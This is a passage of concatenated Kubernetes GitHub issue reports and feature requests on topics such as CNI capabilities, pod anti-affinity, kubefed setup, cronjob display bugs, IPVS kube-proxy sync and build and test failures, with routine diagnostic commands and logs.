to know?  :\r you guys rock. \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.8\r \r

 \r the cni \ capability arguments\  parameter - currently used to pass port mappings - has a few new capabilities: bandwidth limiting and network address management. the dockershim's networking driver should use them.\r \r the network address is just passing the podcidr dynamically to the plugin, so it no longer has to retrieve it from the apiserver.\r \r bandwidth limiting is already implemented in kubenet. it is configured via annotations.\r \r there is no upgrade risk in providing these values; non-compliant plugins will simply ignore them. administrators need to explicitly enable each capability individually in their cni configuration file.\r \r to avoid skew between runtimes, the other runtimes should also be upgraded to pass these. we may also wish to look in to a way to add this more directly to the cri, so we don't have this skew problem, but that's a different issue.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r  \r suppose i have two az, and want to create 4 pods with each 2 as a group, and i want those two groups has anti-affinity policy, so that each az can create two pods.\r \r but the current podantiaffinity can only support anti-affinity with one pod as unit, any workaround to enable this?\r \r /cc @kevin-wangzefeng \r \r  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

i propose we add guidance on how to run tests for a pr in the pr template.\r \r i am a new contributor and took me much  much!  looking around to find testing instructions. it seems that page contains everything one needs to know about testing. i think it is very fitting to have it included in the template, as a one of the last check items.\r \r i propose the template be changed from this:\r \r    \r <!--  thanks for sending a pull request!  here are some tips for you:\r 1. if this is your first time, read our contributor guidelines https://git.k8s.io/community/contributors/guide your-first-contribution and developer guide https://git.k8s.io/community/contributors/devel/development.md development-guide\r 2. if you want  faster  pr reviews, read how: https://git.k8s.io/community/contributors/guide/pull-requests.md best-practices-for-faster-reviews\r 3. follow the instructions for writing a release note: https://git.k8s.io/community/contributors/guide/release-notes.md\r 4. if the pr is unfinished, see how to mark it: https://git.k8s.io/community/contributors/guide/pull-requests.md marking-unfinished-pull-requests\r -->\r    \r \r ...to this:\r \r    \r <!--  thanks for sending a pull request!  here are some tips for you:\r 1. if this is your first time, read our contributor guidelines https://git.k8s.io/community/contributors/guide your-first-contribution and developer guide https://git.k8s.io/community/contributors/devel/development.md development-guide\r 2. ensure you have ran the appropriate tests for your pr: https://github.com/kubernetes/community/blob/master/contributors/devel/testing.md\r 3. if you want  faster  pr reviews, read how: https://git.k8s.io/community/contributors/guide/pull-requests.md best-practices-for-faster-reviews\r 4. follow the instructions for writing a release note: https://git.k8s.io/community/contributors/guide/release-notes.md\r 5. if the pr is unfinished, see how to mark it: https://git.k8s.io/community/contributors/guide/pull-requests.md marking-unfinished-pull-requests\r -->\r    \r 

<!-- please only use this template for submitting enhancement requests -->\r command:\r kubectl get pods -n non-existing-namespace\r \r actual response:\r no resources found.\r \r expected message:\r namespace not found.\r \r   what would you like to be added  :\r exception message to be capturing the issue of a non-existing namespace.\r \ namespace not found.\ \r \r   why is this needed  :\r address issues when users mistype a namespace. assumption is there are no pods and wrong decision can be taken.

\r   what happened  :\r \r the history limit in the describe display has the incorrect number\r \r    \r $ kubectl describe cronjobs\r name:                          update-cloud-images\r namespace:                     default\r labels:                        <none>\r annotations:                   kubectl.kubernetes.io/last-applied-configuration:\r                                  {\ apiversion\ :\ batch/v1beta1\ ,\ kind\ :\ cronjob\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ update-cloud-images\ ,\ namespace\ :\ default\ },\ spec\ :{\ c...\r schedule:                       /1        \r concurrency policy:            forbid\r suspend:                       false\r successful job history limit:  824642469512\r failed job history limit:      1\r starting deadline seconds:     180s\r \r    \r \r   what you expected to happen  :\r \r the history limit should show the default limit  3 \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r add a cronjob with default history limit settings and run  kubectl describe cronjob \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-08t17:11:31z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-08t17:02:58z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r brightbox\r - os  e.g:  cat /etc/os-release  :\r ubuntu 18.04.2\r - kernel  e.g.  uname -a  :\r linux bionic-vm 4.15.0-48-generic  51-ubuntu smp wed apr 3 08:28:49 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r kubeam\r - network plugin and version  if this is a network-related bug :\r - others:\r

brought up in https://github.com/deis/controller/issues/774 and http://stackoverflow.com/questions/38532286/kubernetes-liveness-probes-with-query-string-parameters.  i don't think it would be hard to add, but i don't know whether or not it's a model we want to encourage/support.

currently   kubefed init   creates a pvc for etcd storage in the host cluster and if pv is not configured on the host cluster the control plane api will not be able to start.  while production use of federation requires persistent storage, this should be optional  e.g.   kubefed init --persistent-storage=false    when deploying federation for development/testing/evaluation purposes.  such deployments may not require persistent storage, and may be performed on non-cloud clusters that do not have pv support.\r \r  40536 is the umbrella issue for tracking this and others targeting improvements in non-cloud deployment of the federation control plane.\r \r cc: @kubernetes/sig-federation-bugs

kubefed   currently relies on the dnsaas configuration to be discoverable.  this works in gke for google cloud dns  and likely in aws for route-53 , but neither provider will be configured by   kubefed init   in a non-cloud deployment of the federation control plane.    kubefed   deploys the controller manager  which talks to the dnsaas provider  without setting   --dns-provider-config  :\r \r https://github.com/kubernetes/kubernetes/blob/master/federation/pkg/kubefed/init/init.go l548\r \r this means that configuring dnsaas for non-cloud requires manual post-init configuration.  here are the steps required to get google dns configured for a local deployment:\r \r - create a service account with the \ compute network user\  role as per the google instructions and download the resulting json auth file\r - create a secret in the federation namespace from the auth file\r - edit the controller manager deployment template to include:\r    - a volume for the secret\r    - a mount for the secret volume\r    - an env entry for google_application_credentials that pointed to the mounted file\r      - setting --dns-provider-config resulted in the controller manager complaining about invalid configuration. it didn't seem to expect json.\r \r to simplify non-cloud deployment,   kubefed   should accept a configuration file  e.g.   --dns-provider-config   , create a secret from the federation control plane, and configure the controller manager deployment template to use that secret to configure the chosen dnsaas provider.\r \r  40536 is the umbrella issue for tracking this and others targeting improvements in non-cloud deployment of the federation control plane.\r \r cc: @kubernetes/sig-federation-bugs

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r both maybe\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r latest master\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r running  make test-e2e-node  assumes docker and starts by pulling images with docker even when the kubelet is configured to use cri.\r \r   what you expected to happen  :\r \r pre-pull images using the cri pullimage api directly  or using a knob in the cli \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else do we need to know  :\r \r @mrunalp @feiskyer @jjlakis @vishh

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2326/ failed:  k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: udp  conformance  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:45 mar  3 07:28:45.986: failed to find expected endpoints: tries 0 command curl -q -s 'http://:8080/dial?request=hostname&protocol=udp&host=10.180.0.170&port=8081&tries=1' retrieved map   expected map netserver-0:{}   /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:216

in https://github.com/kubernetes/kubernetes/pull/43271 issuecomment-287398475 @derekwaynecarr said \ i would like @kubernetes/sig-scheduling-misc to start thinking about a podschedulingpolicy object that i could use to provide more granular control where its needed. so if i do not want to let pods in namespace a stalk pods in namespace b, i should be able to control that via policy. for example, i do not want to let users stalk any of the kube-system components  scheduler, etc.  unless i entitle them to do that action.\ \r \r i think we need to define \ stalk\  a bit more specifically, but we do already have a  scheduler policy object  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/api/v1/types.go  that is read from disk; @bsalamat is in the process of changing it to be taken from a configmap   41600 . i assume we could just add whatever you have in mind to this scheduler config object?\r \r cc/ @kubernetes/sig-scheduling-feature-requests @bsalamat @liggitt \r

creating two federated deployments with the same app label  nginx in my case  will cause the deployments to have wrong spreading of replicas. this doesn't happen in the regular k8s api server. \r \r how to reproduce:\r 1 - create a deployment. i've used this template\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: nginx-deployment-fed\r spec:\r   replicas: 6\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx:1.7.9\r         ports:\r         - containerport: 80\r    \r 2 - check on the 2 underlying clusters if the replicas are spread 50-50 \r    \r root@henrique-fed-1:~/run_app  k get deploy --context=fed\r name                   desired   current   up-to-date   available   age\r nginx-deployment-fed   6         6         0            6           28s\r root@henrique-fed-1:~/run_app  k get deploy --context=kubernetes1\r name                       desired   current   up-to-date   available   age\r nginx-deployment-fed       3         3         3            3           26s\r root@henrique-fed-1:~/run_app  k get deploy --context=kubernetes2\r name                   desired   current   up-to-date   available   age\r nginx-deployment-fed   3         3         3            3           1m\r    \r 3 - create an equal deployment just changing the name, keeping the same  app  label\r 4 - the second deployment replicas were not correctly spread, being all in the first cluster:\r    \r root@henrique-fed-1:~/run_app  k get deploy --context=fed\r name                     desired   current   up-to-date   available   age\r nginx-deployment-fed     6         6         0            6           1m\r nginx-deployment-fed-2   6         6         0            6           22s\r root@henrique-fed-1:~/run_app  k get deploy --context=kubernetes1\r name                       desired   current   up-to-date   available   age\r nginx-deployment-fed       3         3         3            3           1m\r nginx-deployment-fed-2     6         6         6            6           19s\r root@henrique-fed-1:~/run_app  k get deploy --context=kubernetes2\r name                     desired   current   up-to-date   available   age\r nginx-deployment-fed     3         3         3            3           2m\r nginx-deployment-fed-2   0         0         0            0           1m\r     \r \r in the end, i've created another deploy,  nginx-deployment-fed-3  changing the name and the app label, and it was correctly spread:\r    \r root@henrique-fed-1:~/run_app  k get deploy --context=kubernetes1\r name                       desired   current   up-to-date   available   age\r nginx-deployment-fed       3         3         3            3           3m\r nginx-deployment-fed-2     6         6         6            6           1m\r nginx-deployment-fed-3     3         3         3            0           1s\r root@henrique-fed-1:~/run_app  k get deploy --context=kubernetes2\r name                     desired   current   up-to-date   available   age\r nginx-deployment-fed     3         3         3            3           4m\r nginx-deployment-fed-2   0         0         0            0           2m\r nginx-deployment-fed-3   3         3         3            3           1m\r    \r expected:\r replicas spread in all deployments, even with the same app label\r \r  kubernetes version    use  kubectl version  : 1.6.2\r running on-prem federation in some vms, 2 clusters in the federation\r also happened in gke fed

for flexvolume, there is a kubelet flag, --volume-plugin-dir, that specifies the path which flexvolume plugin uses to find the custom volume driver. currently it's not possible to set this flag through cluster/kube-up.sh.

is this a bug report or feature request?  :\r \r  \r   what happened  :  default-http-backend  service selects  l7-lb-controller  pod as backend.\r create a k8s cluster on gce using  go run hack/e2e.go -up  command.\r output from couple kubectl commands:\r    \r $ kubectl get svc default-http-backend --namespace=kube-system\r name                   cluster-ip     external-ip   port s              age\r default-http-backend   10.0.212.129   <nodes>       80:30864/tcp        6h\r \r $ kubectl get ep default-http-backend --namespace=kube-system\r name                   endpoints                         age\r default-http-backend   10.100.2.3:8080,10.128.0.2:8080   6h\r \r $ kubectl get pods --namespace=kube-system -o wide\r name                                              ready     status    restarts   age       ip           node\r ...\r l7-default-backend-2053678608-t4wwq               1/1       running   0          5h        10.100.2.3   e2e-test-zihongz-minion-group-zdq4\r l7-lb-controller-v0.9.5-e2e-test-zihongz-master   1/1       running   0          5h        10.128.0.2   e2e-test-zihongz-master\r ...\r    \r \r and apparently l7-lb-controller doesn't serve the default 404 page:\r    \r   curl l7-default-backend pod\r $ curl 10.100.2.3:8080\r default backend\r \r   curl l7-lb-controller pod\r $ curl 10.128.0.2:8080\r curl:  7  couldn't connect to host\r \r   intermittent failures when curling service vip\r $ curl 10.0.212.129:80\r curl:  7  couldn't connect to host\r $ curl 10.0.212.129:80\r default backend - 404\r $ curl 10.0.212.129:80\r default backend - 404\r $ curl 10.0.212.129:80\r default backend - 404\r $ curl 10.0.212.129:80\r curl:  7  couldn't connect to host\r $ curl 10.0.212.129:80\r curl:  7  couldn't connect to host\r $ curl 10.0.212.129:80\r default backend - 404\r    \r \r   what you expected to happen  :\r \r  l7-lb-controller  shouldn't be selected by  default-http-backend  service.\r \r   how to reproduce it  as minimally and precisely as possible   : see \ what happened\  section.\r \r \r   anything else we need to know?  :\r cc @freehan who found it : \r  \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.2.299+290a0edaf35a65-dirty\ , gitcommit:\ 290a0edaf35a65bf5faf18c8bc704dad189ad946\ , gittreestate:\ dirty\ , builddate:\ 2017-07-18t00:22:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : gce\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r support\r \r \r   what happened  :\r make-quick release is failing  git version information missing; cannot create docker tag\r \r    \r + cd /opt/kubernetes\r + make quick-release\r +++  0921 22:45:15  verifying prerequisites....\r +++  0921 22:45:15  building docker image kube-build:build-ae9e3a895e-5-v1.8.3-2\r +++  0921 22:47:22  creating data container kube-build-data-ae9e3a895e-5-v1.8.3-2\r +++  0921 22:47:23  syncing sources to container\r +++  0921 22:47:27  running build command...\r +++  0921 22:47:46  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  0921 22:47:46  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~ ~/test/e2e/generated\r ~/test/e2e/generated\r +++  0921 22:47:47  building go targets for linux/amd64:\r     ./vendor/k8s.io/code-generator/cmd/deepcopy-gen\r +++  0921 22:47:55  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  0921 22:47:55  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~ ~/test/e2e/generated\r ~/test/e2e/generated\r +++  0921 22:47:55  building go targets for linux/amd64:\r     ./vendor/k8s.io/code-generator/cmd/defaulter-gen\r +++  0921 22:48:00  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  0921 22:48:00  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~ ~/test/e2e/generated\r ~/test/e2e/generated\r +++  0921 22:48:01  building go targets for linux/amd64:\r     ./vendor/k8s.io/code-generator/cmd/conversion-gen\r +++  0921 22:48:06  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  0921 22:48:06  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~ ~/test/e2e/generated\r ~/test/e2e/generated\r +++  0921 22:48:07  building go targets for linux/amd64:\r     ./vendor/k8s.io/code-generator/cmd/openapi-gen\r +++  0921 22:48:14  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  0921 22:48:14  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~ ~/test/e2e/generated\r ~/test/e2e/generated\r +++  0921 22:48:14  building go targets for linux/amd64:\r     cmd/kube-proxy\r     cmd/kube-apiserver\r     cmd/kube-controller-manager\r     cmd/cloud-controller-manager\r     cmd/kubelet\r     cmd/kubeadm\r     cmd/hyperkube\r     vendor/k8s.io/kube-aggregator\r     vendor/k8s.io/apiextensions-apiserver\r     plugin/cmd/kube-scheduler\r +++  0921 22:52:30  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  0921 22:52:30  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~ ~/test/e2e/generated\r ~/test/e2e/generated\r +++  0921 22:52:30  building go targets for linux/amd64:\r     cmd/kube-proxy\r     cmd/kubelet\r +++  0921 22:52:45  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  0921 22:52:45  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~ ~/test/e2e/generated\r ~/test/e2e/generated\r +++  0921 22:52:46  building go targets for linux/amd64:\r     cmd/kubectl\r     federation/cmd/kubefed\r +++  0921 22:53:14  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  0921 22:53:15  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~ ~/test/e2e/generated\r ~/test/e2e/generated\r +++  0921 22:53:15  building go targets for linux/amd64:\r     cmd/gendocs\r     cmd/genkubedocs\r     cmd/genman\r     cmd/genyaml\r     cmd/genswaggertypedocs\r     cmd/linkcheck\r     federation/cmd/genfeddocs\r     vendor/github.com/onsi/ginkgo/ginkgo\r     test/e2e/e2e.test\r +++  0921 22:54:48  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  0921 22:54:48  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~ ~/test/e2e/generated\r ~/test/e2e/generated\r +++  0921 22:54:49  building go targets for linux/amd64:\r     cmd/kubemark\r     vendor/github.com/onsi/ginkgo/ginkgo\r     test/e2e_node/e2e_node.test\r +++  0921 22:55:43  syncing out of container\r \r +++  0921 22:55:55  building tarball: manifests\r +++  0921 22:55:55  building tarball: src\r +++  0921 22:55:55  starting tarball: client linux-amd64\r +++  0921 22:55:55  building tarball: salt\r +++  0921 22:55:55  waiting on tarballs\r \r +++  0921 22:56:02  building tarball: server linux-amd64\r +++  0921 22:56:02  building tarball: node linux-amd64\r \r !!!  0921 22:56:05  git version information missing; cannot create docker tag\r !!!  0921 22:56:05  call tree:\r !!!  0921 22:56:05   1: /opt/kubernetes/build/lib/release.sh:215 kube::release::create_docker_images_for_server ... \r !!!  0921 22:56:05   2: /opt/kubernetes/build/lib/release.sh:91 kube::release::package_server_tarballs ... \r !!!  0921 22:56:05   3: build/release.sh:45 kube::release::package_tarballs ... \r \r !!!  0921 22:56:15  previous tarball phase failed\r makefile:401: recipe for target 'quick-release' failed\r make:      quick-release  error 1\r    \r \r \r   what you expected to happen  :\r build should be successful.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r cd /opt\r git clone --depth 1 https://github.com/kubernetes/kubernetes.git\r cd /opt/kubernetes\r make quick-release\r    \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   /area kube-proxy\r >  \r \r   what happened  :\r we run a kubernetes cluster using k8s 1.8.0 and kube-proxy running in ipvs mode. services created/updated after kube-proxy pod  started running are not synchronized in ipvs, but services deleted before are still being synced.\r   what you expected to happen  :\r the new services are synced to ipvs, but the old ones are not synced.\r   how to reproduce it  as minimally and precisely as possible   :\r 0. run k8s 1.8.0 cluster with kube-proxy run in ipvs mode\r 1. create a service  svc-1  and get its clustetip\r 2. run  ipvsadm -ln , we cannot see records for the clusterip after a very long time >5min , \r 3. restart kube-proxy, and we can see the ip in  ipvsadm -ln .\r \r \r   anything else we need to know?  :\r args for running kube-proxy:\r    \r       containers:\r       - command:\r         - /usr/local/bin/kube-proxy\r         - --kubeconfig=/var/lib/kube-proxy/kubeconfig.conf\r         - --cluster-cidr=10.0.0.0/10\r         - --masquerade-all=true\r         - --feature-gates=supportipvsproxymode=true\r         - --proxy-mode=ipvs\r         - --ipvs-min-sync-period=5s\r         - --ipvs-sync-period=20s\r         - --ipvs-scheduler=rr\r         - --v=3\r    \r \r logs of kube-proxy pod :\r    \r i1116 04:01:28.004725       1 proxier.go:385  updating existing service \ svc-test/svc-12:http\  at 172.16.154.181:80/tcp\r i1116 04:01:28.004905       1 proxier.go:863  syncing ipvs proxier rules\r i1116 04:01:28.013591       1 proxier.go:1253  ipvs service svc-test/svc-1:http was changed\r i1116 04:01:28.024978       1 proxier.go:1253  ipvs service svc-test/nginx-2:http was changed\r i1116 04:01:28.035614       1 proxier.go:1253  ipvs service svc-test/svc-9:http was changed\r i1116 04:01:28.046024       1 proxier.go:1245  adding new service \ svc-test/svc-12:http\  172.16.154.181:80/tcp\r i1116 04:01:28.055985       1 proxier.go:1253  ipvs service kube-system/kube-dns:dns was changed\r i1116 04:01:28.065551       1 proxier.go:1253  ipvs service net-perf-test/netperf-server:netperf-control was changed\r i1116 04:01:28.074465       1 proxier.go:1253  ipvs service svc-test/svc-4:http was changed\r i1116 04:01:28.083380       1 proxier.go:1253  ipvs service default/kubernetes:https was changed\r i1116 04:01:28.091991       1 proxier.go:1253  ipvs service svc-test/svc-7:http was changed\r i1116 04:01:28.100231       1 proxier.go:1253  ipvs service kube-system/kube-dns:dns-tcp was changed\r i1116 04:01:28.108334       1 proxier.go:1253  ipvs service net-perf-test/netperf-server:netperf-data-tcp was changed\r i1116 04:01:28.117312       1 proxier.go:1253  ipvs service svc-test/svc-2:http was changed\r i1116 04:01:28.125229       1 proxier.go:1253  ipvs service svc-test/svc-11:http was changed\r i1116 04:01:28.132750       1 proxier.go:1253  ipvs service svc-test/svc-8:http was changed\r i1116 04:01:28.140141       1 proxier.go:1253  ipvs service kube-system/nuke-controller: was changed\r i1116 04:01:28.151349       1 proxier.go:1253  ipvs service kube-system/nuke-controller: was changed\r i1116 04:01:28.151486       1 proxier.go:1253  ipvs service kube-system/nuke-controller: was changed\r i1116 04:01:28.151585       1 proxier.go:1253  ipvs service svc-test/svc-6:http was changed\r i1116 04:01:28.158658       1 proxier.go:1253  ipvs service svc-test/svc-3:http was changed\r i1116 04:01:28.166020       1 proxier.go:1253  ipvs service svc-test/svc-5:http was changed\r i1116 04:01:28.173177       1 proxier.go:1253  ipvs service svc-test/svc-10:http was changed\r    \r note: services  svc-test/svc-   are  deleted.\r \r currently active services & endpoints:\r    \r   kubectl get svc --all-namespaces\r namespace       name              type        cluster-ip      external-ip   port s                age\r default         kubernetes        clusterip   172.16.0.1      <none>        443/tcp               8d\r default         nginx-1           clusterip   172.16.1.1      <none>        80/tcp                3h\r kube-system     kube-dns          clusterip   172.16.0.10     <none>        53/udp,53/tcp         8d\r kube-system     nuke-controller   nodeport    172.16.93.129   <none>        9500:30001/tcp        8d\r net-perf-test   netperf-server    clusterip   172.16.56.26    <none>        12865/tcp,56821/tcp   18h\r svc-test        nginx-2           clusterip   172.16.2.2      <none>        80/tcp                18h\r \r   kubectl get ep --all-namespaces\r namespace       name                       endpoints                                               age\r default         kubernetes                 10.200.20.75:6443,10.200.20.76:6443,10.200.20.77:6443   8d\r default         nginx-1                    10.23.0.15:80                                           3h\r kube-system     cloud-controller-manager   <none>                                                  8d\r kube-system     kube-controller-manager    <none>                                                  8d\r kube-system     kube-dns                   10.200.20.79:53,10.200.20.79:53                         8d\r kube-system     kube-scheduler             <none>                                                  8d\r kube-system     nuke-controller            10.200.20.75:9500                                       8d\r net-perf-test   netperf-server             10.29.0.4:56821,10.29.0.4:12865                         18h\r svc-test        nginx-2                    10.45.0.6:80                                            18h\r    \r note: service  default/nginx-1  is created after last restart of kube-proxy on this node. \r \r output of  ipvsadm -ln :\r    \r   ipvsadm -ln\r ip virtual server version 1.2.1  size=4096 \r prot localaddress:port scheduler flags\r   -> remoteaddress:port           forward weight activeconn inactconn\r tcp  172.16.0.1:443 rr persistent 10800\r   -> 10.200.20.75:6443            masq    1      0          0         \r   -> 10.200.20.76:6443            masq    1      0          0         \r   -> 10.200.20.77:6443            masq    1      1          0         \r tcp  172.16.0.10:53 rr\r   -> 10.200.20.79:53              masq    1      0          0         \r tcp  172.16.1.1:80 rr\r tcp  172.16.2.2:80 rr\r   -> 10.45.0.6:80                 masq    1      0          0         \r tcp  172.16.56.26:12865 rr\r   -> 10.29.0.4:12865              masq    1      0          0         \r tcp  172.16.56.26:56821 rr\r   -> 10.29.0.4:56821              masq    1      0          0         \r tcp  172.16.93.129:9500 rr\r   -> 10.200.20.75:9500            masq    1      0          0         \r tcp  10.200.20.75:30001 rr\r   -> 10.200.20.75:9500            masq    1      0          0         \r tcp  10.200.30.200:30001 rr\r   -> 10.200.20.75:9500            masq    1      0          0         \r udp  172.16.0.10:53 rr\r   -> 10.200.20.79:53              masq    1      0          0 \r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.0\r - cloud provider or hardware configuration: no cloud provider\r - os  e.g. from /etc/os-release : ubuntu 16.04 lts\r - kernel  e.g.  uname -a  : 4.4.0-72-generic x64\r - install tools: kubeadm\r - others:\r

 /  testing\r \r this test fails:\r https://k8s-testgrid.appspot.com/sig-release-1.9-all gce-1.9-1.8-downgrade\r \r some clues:\r \r - waiting for new master timeout:\r https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-beta-stable1-downgrade-cluster/33/build-log.txt\r    \r == waiting for new master to respond to api requests ==\r w1204 16:55:41.879  2017/12/04 16:54:57 util.go:196: interrupt after 15h0m0s timeout during kubetest --test --test_args=--ginkgo.focus=\\ feature:clusterdowngrade\\  --upgrade-target=ci/k8s-stable1 --upgrade-image=gci --report-dir=/workspace/_artifacts --disable-log-dump=true --report-prefix=upgrade --v=true --check-version-skew=false. will terminate in another 15m\r    \r \r - master healthz check failed:\r https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-beta-stable1-downgrade-cluster/33/artifacts/bootstrap-e2e-master/kube-apiserver.log\r    \r logging error output: \  + ping ok\r  - etcd failed: reason withheld\r  + poststarthook/generic-apiserver-start-informers ok\r  + poststarthook/start-apiextensions-informers ok\r  + poststarthook/start-apiextensions-controllers ok\r  - poststarthook/bootstrap-controller failed: reason withheld\r  - poststarthook/rbac/bootstrap-roles failed: reason withheld\r  - poststarthook/ca-registration failed: reason withheld\r  + poststarthook/start-kube-apiserver-informers ok\r  + poststarthook/start-kube-aggregator-informers ok\r  + poststarthook/apiservice-registration-controller ok\r  + poststarthook/apiservice-status-available-controller ok\r  + poststarthook/apiservice-openapi-controller ok\r  + poststarthook/kube-apiserver-autoregistration ok\r  - autoregister-completion failed: reason withheld\r healthz check failed\r \ \r    curl/7.38.0  35.184.43.102:54282 \r    \r \r - etcd is crashloopbacking:\r https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-beta-stable1-downgrade-cluster/33/artifacts/bootstrap-e2e-master/etcd.log\r    \r 2017-12-04 02:24:01.495921 i | etcdserver: starting server...  version: 3.0.17, cluster version: to_be_decided \r 2017-12-04 02:24:01.506968 i | membership: added member a97d80ddc090126a  https://bootstrap-e2e-master:2380  to cluster 91078bdbe2ed539b\r 2017-12-04 02:24:01.507103 n | membership: set the initial cluster version to 3.1\r 2017-12-04 02:24:01.507116 c | membership: cluster cannot be downgraded  current version: 3.0.17 is lower than determined cluster version: 3.1 .\r    \r \r 